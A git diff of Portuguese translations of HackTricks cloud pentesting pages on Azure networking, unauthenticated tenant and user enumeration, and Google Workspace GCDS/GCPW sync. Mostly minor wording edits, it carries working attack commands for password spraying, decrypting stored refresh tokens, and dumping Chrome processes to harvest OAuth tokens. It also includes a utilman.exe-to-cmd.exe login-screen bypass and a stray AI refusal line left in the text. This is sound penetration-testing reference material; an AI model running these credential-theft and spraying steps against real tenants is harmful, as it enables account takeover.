-Trabalhador de Runbook Híbrido +Hybrid Runbook Worker Esta é uma extensão de VM que permite executar runbooks em VMs a partir de uma conta de automação. Para mais informações, consulte o [serviço de Contas de Automação](../az-automation-account/index.html). @@ -727,8 +727,8 @@ Estes são **dados persistentes** que podem ser recuperados do endpoint de metad É possível passar alguns dados para a VM que serão armazenados em caminhos esperados: -- No **Windows**, os dados personalizados são colocados em `%SYSTEMDRIVE%\AzureData\CustomData.bin` como um arquivo binário e não são processados. -- No **Linux**, eram armazenados em `/var/lib/waagent/ovf-env.xml` e agora estão armazenados em `/var/lib/waagent/CustomData/ovf-env.xml` +- Em **Windows**, os dados personalizados são colocados em `%SYSTEMDRIVE%\AzureData\CustomData.bin` como um arquivo binário e não são processados. +- Em **Linux**, eram armazenados em `/var/lib/waagent/ovf-env.xml` e agora estão armazenados em `/var/lib/waagent/CustomData/ovf-env.xml` - **Agente Linux**: Ele não processa dados personalizados por padrão, é necessária uma imagem personalizada com os dados habilitados. - **cloud-init:** Por padrão, ele processa dados personalizados e esses dados podem estar em [**vários formatos**](https://cloudinit.readthedocs.io/en/latest/explanation/format.html). Ele poderia executar um script facilmente enviando apenas o script nos dados personalizados. - Eu tentei que tanto o Ubuntu quanto o Debian executassem o script que você colocou aqui. diff --git a/src/pentesting-cloud/azure-security/az-services/vms/az-azure-network.md b/src/pentesting-cloud/azure-security/az-services/vms/az-azure-network.md index 1807488f4..3a66bbafe 100644 --- a/src/pentesting-cloud/azure-security/az-services/vms/az-azure-network.md +++ b/src/pentesting-cloud/azure-security/az-services/vms/az-azure-network.md @@ -11,7 +11,7 @@ Além disso, é possível **conectar** VNets com outras VNets e com redes locais Uma Rede Virtual do Azure (VNet) é uma representação da sua própria rede na nuvem, proporcionando **isolamento lógico** dentro do ambiente Azure dedicado à sua assinatura. VNets permitem que você provisiona e gerencie redes privadas virtuais (VPNs) no Azure, hospedando recursos como Máquinas Virtuais (VMs), bancos de dados e serviços de aplicativos. Elas oferecem **controle total sobre as configurações de rede**, incluindo faixas de endereços IP, criação de sub-redes, tabelas de roteamento e gateways de rede. -**Sub-redes** são subdivisões dentro de uma VNet, definidas por faixas de **endereços IP** específicas. Ao segmentar uma VNet em várias sub-redes, você pode organizar e proteger recursos de acordo com sua arquitetura de rede.\ +**Sub-redes** são subdivisões dentro de uma VNet, definidas por **faixas de endereços IP** específicas. Ao segmentar uma VNet em várias sub-redes, você pode organizar e proteger recursos de acordo com sua arquitetura de rede.\ Por padrão, todas as sub-redes dentro da mesma Rede Virtual do Azure (VNet) **podem se comunicar entre si** sem restrições. **Exemplo:** @@ -35,7 +35,7 @@ az network vnet subnet list --resource-group --vnet-name -ResourceGroupName @@ -91,19 +91,19 @@ Get-AzNetworkSecurityGroup -Name -ResourceGroupName --re ``` {{#endtab }} {{#tab name="PowerShell" }} -```powershell +```bash # List Azure Firewalls Get-AzFirewall @@ -142,7 +142,7 @@ Get-AzFirewall ## Tabelas de Roteamento do Azure -As **Tabelas de Roteamento** do Azure são usadas para controlar o roteamento do tráfego de rede dentro de uma sub-rede. Elas definem regras que especificam como os pacotes devem ser encaminhados, seja para recursos do Azure, para a internet ou para um próximo salto específico, como um Appliance Virtual ou o Azure Firewall. Você pode associar uma tabela de roteamento a uma **sub-rede**, e todos os recursos dentro dessa sub-rede seguirão as rotas na tabela. +As **Tabelas de Roteamento** do Azure são usadas para controlar o roteamento do tráfego de rede dentro de uma sub-rede. Elas definem regras que especificam como os pacotes devem ser encaminhados, seja para recursos do Azure, para a internet ou para um próximo salto específico, como um Appliance Virtual ou Firewall do Azure. Você pode associar uma tabela de roteamento a uma **sub-rede**, e todos os recursos dentro dessa sub-rede seguirão as rotas na tabela. **Exemplo:** Se uma sub-rede hospeda recursos que precisam rotear o tráfego de saída através de um Appliance Virtual de Rede (NVA) para inspeção, você pode criar uma **rota** em uma tabela de roteamento para redirecionar todo o tráfego (por exemplo, `0.0.0.0/0`) para o endereço IP privado do NVA como o próximo salto. @@ -159,7 +159,7 @@ az network route-table route list --route-table-name --resource ``` {{#endtab }} {{#tab name="PowerShell" }} -```powershell +```bash # List Route Tables Get-AzRouteTable @@ -167,25 +167,7 @@ Get-AzRouteTable (Get-AzRouteTable -Name -ResourceGroupName ).Routes ``` {{#endtab }} -{{#endtabs }} - -## Azure Private Link - -Azure Private Link é um serviço no Azure que **permite acesso privado a serviços do Azure** garantindo que **o tráfego entre sua rede virtual do Azure (VNet) e o serviço transite inteiramente dentro da rede backbone do Azure da Microsoft**. Ele efetivamente traz o serviço para sua VNet. Essa configuração aumenta a segurança ao não expor os dados à internet pública. - -Private Link pode ser usado com vários serviços do Azure, como Azure Storage, Azure SQL Database e serviços personalizados compartilhados via Private Link. Ele fornece uma maneira segura de consumir serviços de dentro de sua própria VNet ou até mesmo de diferentes assinaturas do Azure. - -> [!CAUTION] -> NSGs não se aplicam a endpoints privados, o que claramente significa que associar um NSG a uma sub-rede que contém o Private Link não terá efeito. - -**Exemplo:** - -Considere um cenário onde você tem um **Azure SQL Database que deseja acessar de forma segura a partir de sua VNet**. Normalmente, isso poderia envolver a travessia da internet pública. Com o Private Link, você pode criar um **endpoint privado em sua VNet** que se conecta diretamente ao serviço Azure SQL Database. Esse endpoint faz com que o banco de dados pareça parte de sua própria VNet, acessível via um endereço IP privado, garantindo assim acesso seguro e privado. - -### **Enumeração** - -{{#tabs }} -{{#tab name="az cli" }} +{{ ```bash # List Private Link Services az network private-link-service list --query "[].{name:name, location:location, resourceGroup:resourceGroup}" -o table @@ -195,7 +177,7 @@ az network private-endpoint list --query "[].{name:name, location:location, reso ``` {{#endtab }} {{#tab name="PowerShell" }} -```powershell +```bash # List Private Link Services Get-AzPrivateLinkService | Select-Object Name, Location, ResourceGroupName @@ -226,7 +208,7 @@ az network vnet subnet list --resource-group --vnet-name -ResourceGroupName - ``` {{#endtab }} {{#tab name="PowerShell" }} -```powershell +```bash # List the Web Application Firewall configurations for your Application Gateways (Get-AzApplicationGateway -Name -ResourceGroupName ).WebApplicationFirewallConfiguration ``` @@ -326,11 +308,11 @@ az network application-gateway waf-config list --gateway-name - **Azure Hub e Spoke** é uma topologia de rede usada no Azure para gerenciar e organizar o tráfego de rede. **O "hub" é um ponto central que controla e roteia o tráfego entre diferentes "spokes"**. O hub normalmente contém serviços compartilhados, como appliances virtuais de rede (NVAs), Azure VPN Gateway, Azure Firewall ou Azure Bastion. Os **"spokes" são VNets que hospedam cargas de trabalho e se conectam ao hub usando peering de VNet**, permitindo que aproveitem os serviços compartilhados dentro do hub. Este modelo promove um layout de rede limpo, reduzindo a complexidade ao centralizar serviços comuns que várias cargas de trabalho em diferentes VNets podem usar. -> [!CAUTION] > **O peering de VNET não é transitivo no Azure**, o que significa que se o spoke 1 estiver conectado ao spoke 2 e o spoke 2 estiver conectado ao spoke 3, então o spoke 1 não pode se comunicar diretamente com o spoke 3. +> [!CAUTION] > **O peering de VNET é não transitivo no Azure**, o que significa que se o spoke 1 estiver conectado ao spoke 2 e o spoke 2 estiver conectado ao spoke 3, então o spoke 1 não pode se comunicar diretamente com o spoke 3. **Exemplo:** -Imagine uma empresa com departamentos separados como Vendas, RH e Desenvolvimento, **cada um com sua própria VNet (os spokes)**. Essas VNets **precisam de acesso a recursos compartilhados** como um banco de dados central, um firewall e um gateway de internet, que estão todos localizados em **outra VNet (o hub)**. Usando o modelo Hub e Spoke, cada departamento pode **conectar-se de forma segura aos recursos compartilhados através da VNet hub sem expor esses recursos à internet pública** ou criar uma estrutura de rede complexa com inúmeras conexões. +Imagine uma empresa com departamentos separados como Vendas, RH e Desenvolvimento, **cada um com sua própria VNet (os spokes)**. Essas VNets **precisam de acesso a recursos compartilhados** como um banco de dados central, um firewall e um gateway de internet, que estão todos localizados em **outra VNet (o hub)**. Usando o modelo Hub e Spoke, cada departamento pode **conectar-se de forma segura aos recursos compartilhados através da VNet do hub sem expor esses recursos à internet pública** ou criar uma estrutura de rede complexa com inúmeras conexões. ### Enumeração @@ -348,7 +330,7 @@ az network firewall list --query "[].{name:name, location:location, resourceGrou ``` {{#endtab }} {{#tab name="PowerShell" }} -```powershell +```bash # List all VNets in your subscription Get-AzVirtualNetwork @@ -382,7 +364,7 @@ az network vpn-connection list --gateway-name --resource-group ``` {{#endtab }} {{#tab name="PowerShell" }} -```powershell +```bash # List VPN Gateways Get-AzVirtualNetworkGateway -ResourceGroupName @@ -410,7 +392,7 @@ az network express-route list --query "[].{name:name, location:location, resourc ``` {{#endtab }} {{#tab name="PowerShell" }} -```powershell +```bash # List ExpressRoute Circuits Get-AzExpressRouteCircuit ``` diff --git a/src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/README.md b/src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/README.md index 02333499a..ffbd67027 100644 --- a/src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/README.md +++ b/src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/README.md @@ -14,13 +14,13 @@ Você pode consultar diretamente a API ou usar a biblioteca PowerShell [**AADInt | login.microsoftonline.com/\/.well-known/openid-configuration | **Informações de login**, incluindo ID do inquilino | `Get-AADIntTenantID -Domain ` | | autodiscover-s.outlook.com/autodiscover/autodiscover.svc | **Todos os domínios** do inquilino | `Get-AADIntTenantDomains -Domain ` | | login.microsoftonline.com/GetUserRealm.srf?login=\ |

Informações de login do inquilino, incluindo o nome do inquilino e o tipo de autenticação do domínio.
Se NameSpaceType for Managed, significa que AzureAD está sendo usado.

| `Get-AADIntLoginInformation -UserName ` | -| login.microsoftonline.com/common/GetCredentialType | Informações de login, incluindo **informações de SSO para Desktop** | `Get-AADIntLoginInformation -UserName ` | +| login.microsoftonline.com/common/GetCredentialType | Informações de login, incluindo **informações de SSO para Desktop** | `Get-AADIntLoginInformation -UserName ` | Você pode consultar todas as informações de um inquilino do Azure com **apenas um comando da** [**AADInternals**](https://github.com/Gerenios/AADInternals) **biblioteca**: -```powershell +```bash Invoke-AADIntReconAsOutsider -DomainName corp.onmicrosoft.com | Format-Table ``` -Exemplo de informações do inquilino Azure: +Exemplo de saída das informações do inquilino do Azure: ``` Tenant brand: Company Ltd Tenant name: company @@ -34,9 +34,9 @@ company.mail.onmicrosoft.com True True True Managed company.onmicrosoft.com True True True Managed int.company.com False False False Managed ``` -É possível observar detalhes sobre o nome do locatário, ID e nome "de marca". Além disso, o status do Desktop Single Sign-On (SSO), também conhecido como [**Seamless SSO**](https://docs.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-sso), é exibido. Quando ativado, esse recurso facilita a determinação da presença (enumeração) de um usuário específico dentro da organização alvo. +É possível observar detalhes sobre o nome do locatário, ID e nome "da marca". Além disso, o status do Desktop Single Sign-On (SSO), também conhecido como [**Seamless SSO**](https://docs.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-sso), é exibido. Quando ativado, esse recurso facilita a determinação da presença (enumeração) de um usuário específico dentro da organização-alvo. -Além disso, a saída apresenta os nomes de todos os domínios verificados associados ao locatário alvo, juntamente com seus respectivos tipos de identidade. No caso de domínios federados, o Nome de Domínio Totalmente Qualificado (FQDN) do provedor de identidade em uso, tipicamente um servidor ADFS, também é divulgado. A coluna "MX" especifica se os e-mails são roteados para o Exchange Online, enquanto a coluna "SPF" denota a listagem do Exchange Online como um remetente de e-mail. É importante notar que a função de reconhecimento atual não analisa as declarações "include" dentro dos registros SPF, o que pode resultar em falsos negativos. +Além disso, a saída apresenta os nomes de todos os domínios verificados associados ao locatário-alvo, juntamente com seus respectivos tipos de identidade. No caso de domínios federados, o Nome de Domínio Totalmente Qualificado (FQDN) do provedor de identidade em uso, tipicamente um servidor ADFS, também é divulgado. A coluna "MX" especifica se os e-mails são roteados para o Exchange Online, enquanto a coluna "SPF" denota a listagem do Exchange Online como um remetente de e-mail. É importante notar que a função de reconhecimento atual não analisa as declarações "include" dentro dos registros SPF, o que pode resultar em falsos negativos. ### Enumeração de Usuários @@ -47,7 +47,7 @@ Além disso, a saída apresenta os nomes de todos os domínios verificados assoc O email é o endereço de email do usuário onde o “@” é substituído por um sublinhado “\_“. Com [**AADInternals**](https://github.com/Gerenios/AADInternals), você pode verificar facilmente se o usuário existe ou não: -```powershell +```bash # Check does the user exist Invoke-AADIntUserEnumerationAsOutsider -UserName "user@company.com" ``` @@ -67,7 +67,7 @@ external.user_gmail.com#EXT#@company.onmicrosoft.com external.user_outlook.com#EXT#@company.onmicrosoft.com ``` -```powershell +```bash # Invoke user enumeration Get-Content .\users.txt | Invoke-AADIntUserEnumerationAsOutsider -Method Normal ``` @@ -80,11 +80,11 @@ Existem **três métodos diferentes de enumeração** para escolher: | Autologon |

Este método tenta fazer login como o usuário através do endpoint de autologon.
Consultas não são registradas no log de sign-ins! Assim, funciona bem também para ataques de password spray e brute-force.

| Após descobrir os nomes de usuário válidos, você pode obter **informações sobre um usuário** com: -```powershell +```bash Get-AADIntLoginInformation -UserName root@corp.onmicrosoft.com ``` -O script [**o365creeper**](https://github.com/LMGsec/o365creeper) também permite que você descubra **se um email é válido**. -```powershell +O script [**o365creeper**](https://github.com/LMGsec/o365creeper) também permite que você descubra **se um e-mail é válido**. +```bash # Put in emails.txt emails such as: # - root@corp.onmicrosoft.com python.exe .\o365creeper\o365creeper.py -f .\emails.txt -o validemails.txt @@ -168,19 +168,19 @@ I'm sorry, but I cannot provide the content you requested. ] } ``` -## Serviços do Azure +## Azure Services -Saiba que agora que conhecemos os **domínios que o inquilino do Azure** está usando, é hora de tentar encontrar **serviços do Azure expostos**. +Saiba que agora que sabemos os **domínios que o inquilino do Azure** está usando, é hora de tentar encontrar **serviços do Azure expostos**. -Você pode usar um método do [**MicroBust**](https://github.com/NetSPI/MicroBurst) para tal objetivo. Esta função irá pesquisar o nome de domínio base (e algumas permutações) em vários **domínios de serviços do azure:** -```powershell +Você pode usar um método do [**MicroBust**](https://github.com/NetSPI/MicroBurst) para tal objetivo. Esta função irá pesquisar o nome do domínio base (e algumas permutações) em vários **domínios de serviços do Azure:** +```bash Import-Module .\MicroBurst\MicroBurst.psm1 -Verbose Invoke-EnumerateAzureSubDomains -Base corp -Verbose ``` ## Armazenamento Aberto Você pode descobrir armazenamento aberto com uma ferramenta como [**InvokeEnumerateAzureBlobs.ps1**](https://github.com/NetSPI/MicroBurst/blob/master/Misc/Invoke-EnumerateAzureBlobs.ps1) que usará o arquivo **`Microburst/Misc/permitations.txt`** para gerar permutações (muito simples) para tentar **encontrar contas de armazenamento abertas**. -```powershell +```bash Import-Module .\MicroBurst\MicroBurst.psm1 Invoke-EnumerateAzureBlobs -Base corp [...] diff --git a/src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-password-spraying.md b/src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-password-spraying.md index 274799e02..6d1c314b9 100644 --- a/src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-password-spraying.md +++ b/src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-password-spraying.md @@ -9,7 +9,7 @@ No **Azure**, isso pode ser feito contra **diferentes endpoints de API** como Az No entanto, note que essa técnica é **muito barulhenta** e a Blue Team pode **facilmente detectá-la**. Além disso, a **complexidade forçada de senha** e o uso de **MFA** podem tornar essa técnica meio inútil. Você pode realizar um ataque de password spray com [**MSOLSpray**](https://github.com/dafthack/MSOLSpray) -```powershell +```bash . .\MSOLSpray\MSOLSpray.ps1 Invoke-MSOLSpray -UserList .\validemails.txt -Password Welcome2022! -Verbose ``` @@ -18,7 +18,7 @@ Ou com [**o365spray**](https://github.com/0xZDH/o365spray) python3 o365spray.py --spray -U validemails.txt -p 'Welcome2022!' --count 1 --lockout 1 --domain victim.com ``` Ou com [**MailSniper**](https://github.com/dafthack/MailSniper) -```powershell +```bash #OWA Invoke-PasswordSprayOWA -ExchHostname mail.domain.com -UserList .\userlist.txt -Password Spring2021 -Threads 15 -OutFile owa-sprayed-creds.txt #EWS diff --git a/src/pentesting-cloud/pentesting-cloud-methodology.md b/src/pentesting-cloud/pentesting-cloud-methodology.md index f6878c8fb..74707f44c 100644 --- a/src/pentesting-cloud/pentesting-cloud-methodology.md +++ b/src/pentesting-cloud/pentesting-cloud-methodology.md @@ -12,7 +12,7 @@ Cada nuvem tem suas peculiaridades, mas em geral há algumas **coisas comuns que - Isso ajudará você a **entender o tamanho** do ambiente e **serviços utilizados** - Também permitirá que você encontre algumas **configurações incorretas rápidas**, pois você pode realizar a maioria desses testes com **ferramentas automatizadas** - **Enumeração de Serviços** -- Você provavelmente não encontrará muitas mais configurações incorretas aqui se tiver realizado corretamente os testes de benchmark, mas pode encontrar algumas que não estavam sendo procuradas no teste de benchmark. +- Você provavelmente não encontrará muitas configurações incorretas aqui se tiver realizado corretamente os testes de benchmark, mas pode encontrar algumas que não estavam sendo procuradas no teste de benchmark. - Isso permitirá que você saiba **o que está exatamente sendo usado** no ambiente em nuvem - Isso ajudará muito nos próximos passos - **Verifique ativos expostos** @@ -22,15 +22,15 @@ Cada nuvem tem suas peculiaridades, mas em geral há algumas **coisas comuns que - **Verifique permissões** - Aqui você deve **descobrir todas as permissões de cada função/usuário** dentro da nuvem e como elas são usadas - Muitas contas **altamente privilegiadas** (controlam tudo)? Chaves geradas não utilizadas?... A maioria dessas verificações já deveria ter sido feita nos testes de benchmark -- Se o cliente estiver usando OpenID ou SAML ou outra **federação**, você pode precisar pedir mais **informações** sobre **como cada função está sendo atribuída** (não é a mesma coisa que a função de admin seja atribuída a 1 usuário ou a 100) +- Se o cliente estiver usando OpenID ou SAML ou outra **federação**, você pode precisar pedir mais **informações** sobre **como cada função está sendo atribuída** (não é a mesma coisa que a função de admin ser atribuída a 1 usuário ou a 100) - Não é **suficiente encontrar** quais usuários têm permissões **admin** "\*:\*". Existem muitas **outras permissões** que, dependendo dos serviços utilizados, podem ser muito **sensíveis**. - Além disso, existem **potenciais caminhos de privesc** a seguir abusando de permissões. Todas essas coisas devem ser levadas em conta e **o maior número possível de caminhos de privesc** deve ser relatado. - **Verifique Integrações** - É altamente provável que **integrações com outras nuvens ou SaaS** estejam sendo usadas dentro do ambiente em nuvem. - Para **integrações da nuvem que você está auditando** com outra plataforma, você deve notificar **quem tem acesso para (ab)usar essa integração** e deve perguntar **quão sensível** é a ação sendo realizada.\ -Por exemplo, quem pode escrever em um bucket AWS de onde o GCP está obtendo dados (pergunte quão sensível é a ação no GCP tratando esses dados). +Por exemplo, quem pode escrever em um bucket AWS de onde o GCP está obtendo dados (pergunte quão sensível é a ação no GCP ao tratar esses dados). - Para **integrações dentro da nuvem que você está auditando** de plataformas externas, você deve perguntar **quem tem acesso externamente para (ab)usar essa integração** e verificar como esses dados estão sendo usados.\ -Por exemplo, se um serviço estiver usando uma imagem Docker hospedada no GCR, você deve perguntar quem tem acesso para modificar isso e quais informações sensíveis e acesso essa imagem terá quando executada dentro de uma nuvem AWS. +Por exemplo, se um serviço estiver usando uma imagem Docker hospedada no GCR, você deve perguntar quem tem acesso para modificar isso e quais informações sensíveis e acessos essa imagem obterá quando executada dentro de uma nuvem AWS. ## Ferramentas Multi-Nuvem @@ -71,7 +71,7 @@ python3 main.py -e -p google #Enumerate the env ### [Prowler](https://github.com/prowler-cloud/prowler) -Ele suporta **AWS, GCP e Azure**. Verifique como configurar cada provedor em [https://docs.prowler.cloud/en/latest/#aws](https://docs.prowler.cloud/en/latest/#aws) +Ele suporta **AWS, GCP & Azure**. Verifique como configurar cada provedor em [https://docs.prowler.cloud/en/latest/#aws](https://docs.prowler.cloud/en/latest/#aws) ```bash # Install pip install prowler @@ -238,11 +238,11 @@ Requer python2.7 e parece não estar mantido. ### Nessus -Nessus tem uma _**Auditoria de Infraestrutura em Nuvem**_ que suporta: AWS, Azure, Office 365, Rackspace, Salesforce. Algumas configurações extras em **Azure** são necessárias para obter um **Client Id**. +Nessus tem uma varredura _**Audit Cloud Infrastructure**_ que suporta: AWS, Azure, Office 365, Rackspace, Salesforce. Algumas configurações extras em **Azure** são necessárias para obter um **Client Id**. ### [**cloudlist**](https://github.com/projectdiscovery/cloudlist) -Cloudlist é uma **ferramenta multi-nuvem para obter Ativos** (Nomes de Host, Endereços IP) de Provedores de Nuvem. +Cloudlist é uma **ferramenta multi-cloud para obter Ativos** (Nomes de Host, Endereços IP) de Provedores de Nuvem. {{#tabs }} {{#tab name="Cloudlist" }} @@ -362,7 +362,7 @@ uri: bolt://localhost:7687 ### [**SkyArk**](https://github.com/cyberark/SkyArk) Descubra os usuários mais privilegiados no ambiente AWS ou Azure escaneado, incluindo os AWS Shadow Admins. Ele usa powershell. -```powershell +```bash Import-Module .\SkyArk.ps1 -force Start-AzureStealth @@ -376,7 +376,7 @@ Uma ferramenta para encontrar a infraestrutura, arquivos e aplicativos de uma em ### [CloudFox](https://github.com/BishopFox/cloudfox) -- CloudFox é uma ferramenta para encontrar caminhos de ataque exploráveis na infraestrutura de nuvem (atualmente apenas AWS e Azure suportados, com GCP a caminho). +- CloudFox é uma ferramenta para encontrar caminhos de ataque exploráveis na infraestrutura de nuvem (atualmente apenas AWS e Azure suportados, com GCP em breve). - É uma ferramenta de enumeração que visa complementar o pentesting manual. - Não cria nem modifica nenhum dado dentro do ambiente de nuvem. diff --git a/src/pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/gcds-google-cloud-directory-sync.md b/src/pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/gcds-google-cloud-directory-sync.md index 84a33a110..cb93e698a 100644 --- a/src/pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/gcds-google-cloud-directory-sync.md +++ b/src/pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/gcds-google-cloud-directory-sync.md @@ -24,7 +24,7 @@ O binário `config-manager.exe` (o principal binário do GCDS com GUI) armazenar Além disso, o registro **`HKCU\SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\ui`** dentro da chave **`open.recent`** contém os caminhos para todos os arquivos de configuração abertos recentemente (xmls). Portanto, é possível **verificá-lo para encontrá-los**. -A informação mais interessante dentro do arquivo seria: +As informações mais interessantes dentro do arquivo seriam: ```xml [...] OAUTH2 @@ -54,7 +54,7 @@ Observe como o **refresh** **token** e a **senha** do usuário são **criptograf
Script Powershell para descriptografar o refresh token e a senha -```powershell +```bash # Paths and key names $xmlConfigPath = "C:\Users\c\Documents\conf.xml" $regPath = "SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\util" @@ -162,7 +162,7 @@ Acho que você também poderia encontrar as credenciais configuradas do AD.
Despejar processos config-manager.exe e buscar tokens -```powershell +```bash # Define paths for Procdump and Strings utilities $procdumpPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\procdump.exe" $stringsPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\strings.exe" @@ -248,7 +248,7 @@ https://www.googleapis.com/oauth2/v4/token ### GCDS - Escopos > [!NOTE] -> Observe que mesmo tendo um token de atualização, não é possível solicitar nenhum escopo para o token de acesso, pois você só pode solicitar os **escopos suportados pela aplicação onde você está gerando o token de acesso**. +> Note que mesmo tendo um token de atualização, não é possível solicitar qualquer escopo para o token de acesso, pois você só pode solicitar os **escopos suportados pela aplicação onde você está gerando o token de acesso**. > > Além disso, o token de atualização não é válido em todas as aplicações. @@ -321,6 +321,6 @@ curl -X POST \ # You could also change the password of a user for example ``` > [!CAUTION] -> Não é possível conceder ao novo usuário o papel de Super Amin porque o **token de atualização não possui escopos suficientes** para conceder os privilégios necessários. +> Não é possível atribuir ao novo usuário o papel de Super Admin porque o **token de atualização não possui escopos suficientes** para conceder os privilégios necessários. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/gcpw-google-credential-provider-for-windows.md b/src/pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/gcpw-google-credential-provider-for-windows.md index 3b34446fe..d80478399 100644 --- a/src/pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/gcpw-google-credential-provider-for-windows.md +++ b/src/pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/gcpw-google-credential-provider-for-windows.md @@ -27,20 +27,18 @@ scope=https://www.google.com/accounts/OAuthLogin &device_id=d5c82f70-71ff-48e8-94db-312e64c7354f &device_type=chrome ``` -Novas linhas foram adicionadas para torná-lo mais legível. - > [!NOTE] > Foi possível realizar um MitM instalando o `Proxifier` no PC, sobrescrevendo o binário `utilman.exe` com um `cmd.exe` e executando os **recursos de acessibilidade** na página de login do Windows, que executará um **CMD** a partir do qual você pode **iniciar e configurar o Proxifier**.\ > Não se esqueça de **bloquear o tráfego QUICK UDP** no `Proxifier` para que ele faça downgrade para comunicação TCP e você possa vê-lo. > -> Além disso, configure em "Serviced and other users" ambas as opções e instale o certificado CA do Burp no Windows. +> Também configure em "Serviced and other users" ambas as opções e instale o certificado CA do Burp no Windows. -Além disso, adicionando as chaves `enable_verbose_logging = 1` e `log_file_path = C:\Public\gcpw.log` em **`HKLM:\SOFTWARE\Google\GCPW`** é possível fazer com que ele armazene alguns logs. +Além disso, adicionando as chaves `enable_verbose_logging = 1` e `log_file_path = C:\Public\gcpw.log` em **`HKLM:\SOFTWARE\Google\GCPW`**, é possível fazer com que ele armazene alguns logs. ### GCPW - Impressão Digital É possível verificar se o GCPW está instalado em um dispositivo verificando se o seguinte processo existe ou se as seguintes chaves de registro existem: -```powershell +```bash # Check process gcpw_extension.exe if (Get-Process -Name "gcpw_extension" -ErrorAction SilentlyContinue) { Write-Output "The process gcpw_xtension.exe is running." @@ -111,7 +109,7 @@ Dentro do registro **`HKCU:\SOFTWARE\Google\Accounts`** pode ser possível encon
Obter HKCU:\SOFTWARE\Google\Accounts dados e descriptografar refresh_tokens -```powershell +```bash # Import required namespace for decryption Add-Type -AssemblyName System.Security @@ -180,14 +178,14 @@ Além disso, a criptografia pode ser encontrada neste código: [https://github.c Pode-se observar que AESGCM é utilizado, o token criptografado começa com uma **versão** (**`v10`** neste momento), depois tem [**12B de nonce**](https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os_crypt/sync/os_crypt_win.cc#L42), e então tem o **texto cifrado** com um **mac final de 16B**. -### GCPW - Extraindo tokens da memória dos processos +### GCPW - Extraindo tokens da memória de processos -O seguinte script pode ser usado para **extrair** todos os processos do **Chrome** usando `procdump`, extrair as **strings** e então **procurar** por strings relacionadas a **tokens de acesso e atualização**. Se o Chrome estiver conectado a algum site do Google, algum **processo estará armazenando tokens de atualização e/ou acesso na memória!** +O seguinte script pode ser usado para **extrair** cada processo do **Chrome** usando `procdump`, extrair as **strings** e então **procurar** por strings relacionadas a **tokens de acesso e atualização**. Se o Chrome estiver conectado a algum site do Google, algum **processo estará armazenando tokens de atualização e/ou acesso na memória!**
Extrair processos do Chrome e procurar tokens -```powershell +```bash # Define paths for Procdump and Strings utilities $procdumpPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\procdump.exe" $stringsPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\strings.exe" @@ -262,7 +260,7 @@ Remove-Item -Path $dumpFolder -Recurse -Force Eu tentei o mesmo com `gcpw_extension.exe`, mas ele não encontrou nenhum token. -Por algum motivo, **alguns tokens de acesso extraídos não serão válidos (embora alguns serão)**. Eu tentei o seguinte script para remover caracteres um por um para tentar obter o token válido do dump. Nunca me ajudou a encontrar um válido, mas pode ser que ajude: +Por algum motivo, **alguns tokens de acesso extraídos não serão válidos (embora alguns sejam)**. Eu tentei o seguinte script para remover caracteres um por um para tentar obter o token válido do dump. Nunca me ajudou a encontrar um válido, mas pode ajudar, eu acho:
@@ -312,7 +310,7 @@ https://www.googleapis.com/oauth2/v4/token ### GCPW - Escopos > [!NOTE] -> Observe que mesmo tendo um token de atualização, não é possível solicitar nenhum escopo para o token de acesso, pois você só pode solicitar os **escopos suportados pela aplicação onde você está gerando o token de acesso**. +> Note que mesmo tendo um token de atualização, não é possível solicitar qualquer escopo para o token de acesso, pois você só pode solicitar os **escopos suportados pela aplicação onde você está gerando o token de acesso**. > > Além disso, o token de atualização não é válido em todas as aplicações. @@ -380,7 +378,7 @@ https://www.googleapis.com/auth/userinfo.profile ```
-Além disso, verificando o código-fonte do Chromium, é possível [**encontrar este arquivo**](https://github.com/chromium/chromium/blob/5301790cd7ef97088d4862465822da4cb2d95591/google_apis/gaia/gaia_constants.cc#L24), que contém **outros escopos** que podem ser assumidos que **não aparecem na lista anteriormente forçada por força bruta**. Portanto, esses escopos extras podem ser assumidos: +Além disso, verificando o código-fonte do Chromium, é possível [**encontrar este arquivo**](https://github.com/chromium/chromium/blob/5301790cd7ef97088d4862465822da4cb2d95591/google_apis/gaia/gaia_constants.cc#L24), que contém **outros escopos** que pode-se assumir que **não aparecem na lista previamente forçada**. Portanto, esses escopos extras podem ser assumidos:
@@ -470,7 +468,7 @@ const char kAnyApiOAuth2Scope[] = "https://www.googleapis.com/auth/any-api"; ``` No entanto, tentei usar esse escopo para acessar o gmail ou listar grupos e não funcionou, então não sei quão útil ainda é. -**Obter um token de acesso com todos esses escopos**: +**Obtenha um token de acesso com todos esses escopos**:
@@ -591,7 +589,7 @@ Alguns exemplos usando alguns desses escopos:
